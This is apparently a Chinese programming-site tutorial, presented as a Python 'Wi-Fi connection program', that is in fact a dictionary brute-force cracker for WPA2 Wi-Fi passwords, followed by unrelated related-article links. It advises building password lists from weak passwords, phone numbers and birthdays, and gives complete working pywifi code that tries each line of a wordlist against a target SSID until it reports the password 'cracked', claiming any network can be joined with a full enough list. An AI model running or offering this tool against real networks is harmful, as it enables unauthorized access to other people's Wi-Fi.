基于Python實(shí)現(xiàn)wifi連接小程序
有時(shí)候我們會(huì)忘記自己的Wi-Fi密碼,或者需要連接某個(gè)Wi-Fi網(wǎng)絡(luò)以滿足合法需求。本文將介紹如何使用Python編程語(yǔ)言編寫(xiě)一個(gè)簡(jiǎn)單的連接Wi-Fi的程序。
一、密碼本準(zhǔn)備
在進(jìn)行wifi猜測(cè)時(shí),其實(shí)就是列出各種可能的密碼,用來(lái)嘗試去訪問(wèn)目標(biāo)wifi,直到找出正確的密碼為止,是密碼破解的一種方案。怎么有效去猜測(cè)wifi密碼呢,或者說(shuō)日常中你使用的密碼為什么會(huì)被別人猜到,這就涉及到社會(huì)工程學(xué),比如習(xí)慣使用“123456”、“8888888”等弱口令,使用手機(jī)號(hào)、生日、家庭住址相關(guān)聯(lián)作為密碼,那么就很容易被猜到,這里不過(guò)多介紹,理論上任何密碼都可以用這種方法來(lái)猜測(cè)連接,不過(guò)越復(fù)雜的密碼破解耗時(shí)也越長(zhǎng)。
二、連接準(zhǔn)備工作
python環(huán)境安裝
訪問(wèn)Python官網(wǎng),點(diǎn)擊downloads按鈕,在下拉框中選擇系統(tǒng)類(lèi)型,選擇下載最新版本的Python,沒(méi)有版本要求的話,盡量使用最新版本前幾個(gè)版本,避免新版本的不穩(wěn)定。雙擊下載好的Python安裝包,勾選左下角"Add Python 3.7 to PATH"選項(xiàng),然后選擇"Install now"立刻安裝Python,默認(rèn)安裝或自定義安裝。打開(kāi)命令窗口,使用“python --version”查驗(yàn)環(huán)境是否安裝成功。

下載安裝pywifi庫(kù)
pip install pywifi
以下對(duì)整個(gè)連接程序主要部分進(jìn)行講解,最后提供完整的連接程序,可以使用自己的wifi網(wǎng)絡(luò)進(jìn)行連接嘗試,密碼本先填寫(xiě)幾個(gè)錯(cuò)誤密碼,最后再寫(xiě)入正確密碼,試驗(yàn)是否成功連接wifi,只要密碼本夠全,理論上可以連接所有wifi。注意一行表示一個(gè)可能性密碼。
創(chuàng)建一個(gè)無(wú)線對(duì)象,獲取無(wú)線網(wǎng)卡
#抓取網(wǎng)卡接口 wifi=pywifi.PyWiFi() #獲取第一個(gè)無(wú)線網(wǎng)卡 ifaces=wifi.interfaces()[0]
創(chuàng)建WiFi連接文件
創(chuàng)建WiFi連接文件,選擇要連接WiFi的名稱,然后檢查WiFi的開(kāi)發(fā)狀態(tài),查看wifi的加密算法,一般wifi加密算法為WPA2 PSK,檢查加密單元。
#創(chuàng)建WiFi連接文件 profile=pywifi.Profile() #要連接WiFi的名稱 profile.ssid="WiFi名稱" #網(wǎng)卡的開(kāi)放狀態(tài) profile.auth=const.AUTH_ALG_OPEN #wifi加密算法,一般wifi加密算法為wps profile.akm.append(const.AKM_TYPE_WPA2PSK) #加密單元 profile.cipher=const.CIPHER_TYPE_CCMP
嘗試連接wifi
密碼本采用只讀的方式,一行一行讀取,后續(xù)用于嘗試連接wifi。
#讀取密碼本
def readPassword():
print("開(kāi)始破解:")
#密碼本路徑
path="wifi_pass.txt"
#打開(kāi)文件
file=open(path,"r")
while True:
try:
#一行一行讀取
pad=file.readline()
#嘗試連接wifi
bool = wifiConnect(pad)
if not pad:
break
if bool:
print("密碼已破解: ",pad)
print("WiFi已自動(dòng)連接?。?!")
break
else:
#跳出當(dāng)前循環(huán),進(jìn)行下一次循環(huán)
print("密碼破解中....密碼校對(duì): ",pad)
except:
continue
三、完整程序代碼
# coding:utf-8
import pywifi
from pywifi import const
import time
#測(cè)試連接,返回鏈接結(jié)果
def wifiConnect(pwd):
#抓取網(wǎng)卡接口
wifi=pywifi.PyWiFi()
#獲取第一個(gè)無(wú)線網(wǎng)卡
ifaces=wifi.interfaces()[0]
#斷開(kāi)所有連接
ifaces.disconnect()
time.sleep(1)
wifistatus=ifaces.status()
if wifistatus ==const.IFACE_DISCONNECTED:
#創(chuàng)建WiFi連接文件
profile=pywifi.Profile()
#要連接WiFi的名稱
profile.ssid="****_Wi-Fi5"
#網(wǎng)卡的開(kāi)放狀態(tài)
profile.auth=const.AUTH_ALG_OPEN
#wifi加密算法,一般wifi加密算法為wps
profile.akm.append(const.AKM_TYPE_WPA2PSK)
#加密單元
profile.cipher=const.CIPHER_TYPE_CCMP
#調(diào)用密碼
profile.key=pwd
#刪除所有連接過(guò)的wifi文件
ifaces.remove_all_network_profiles()
#設(shè)定新的連接文件
tep_profile=ifaces.add_network_profile(profile)
ifaces.connect(tep_profile)
#wifi連接時(shí)間
time.sleep(3)
if ifaces.status()==const.IFACE_CONNECTED:
return True
else:
return False
else:
print("已有wifi連接")
#讀取密碼本
def readPassword():
print("開(kāi)始破解:")
#密碼本路徑
path="wifi_pass.txt"
#打開(kāi)文件
file=open(path,"r")
while True:
try:
#一行一行讀取
pad=file.readline()
#嘗試連接wifi
bool = wifiConnect(pad)
if not pad:
break
if bool:
print("密碼已破解: ",pad)
print("WiFi已自動(dòng)連接?。?!")
break
else:
#跳出當(dāng)前循環(huán),進(jìn)行下一次循環(huán)
print("密碼破解中....密碼校對(duì): ",pad)
except:
continue
readPassword()運(yùn)行結(jié)果

到此這篇關(guān)于基于Python實(shí)現(xiàn)wifi連接小程序的文章就介紹到這了,更多相關(guān)Python連接wifi內(nèi)容請(qǐng)搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!
相關(guān)文章
Python中tkinter無(wú)法同時(shí)顯示多個(gè)image的解決方法及pack與place解析
這篇文章主要介紹了Python中tkinter無(wú)法同時(shí)顯示多個(gè)image的解決方法及pack與place解析,本文給大家分享問(wèn)題原因解析及解決方案,需要的朋友可以參考下2023-02-02
C# DataGridView行列轉(zhuǎn)換的具體實(shí)現(xiàn)
本文主要介紹了C# DataGridView行列轉(zhuǎn)換的具體實(shí)現(xiàn),文中通過(guò)示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來(lái)一起學(xué)習(xí)學(xué)習(xí)吧2023-02-02
利用Python實(shí)現(xiàn)一個(gè)簡(jiǎn)易的截圖工具
這篇文章主要為大家詳細(xì)介紹了如何利用Python實(shí)現(xiàn)一個(gè)簡(jiǎn)易的截圖工具,可以截完圖之后顯示并且永遠(yuǎn)前置,感興趣的小伙伴可以嘗試一下2022-07-07
將pymysql獲取到的數(shù)據(jù)類(lèi)型是tuple轉(zhuǎn)化為pandas方式
這篇文章主要介紹了將pymysql獲取到的數(shù)據(jù)類(lèi)型是tuple轉(zhuǎn)化為pandas方式,具有很好的參考價(jià)值,希望對(duì)大家有所幫助。一起跟隨小編過(guò)來(lái)看看吧2020-05-05
Python連接數(shù)據(jù)庫(kù)進(jìn)行數(shù)據(jù)查詢的操作代碼
這篇文章主要介紹了Python連接數(shù)據(jù)庫(kù)進(jìn)行數(shù)據(jù)查詢的操作代碼,本文給大家介紹的非常詳細(xì),感興趣的朋友跟隨小編一起看看吧2024-06-06

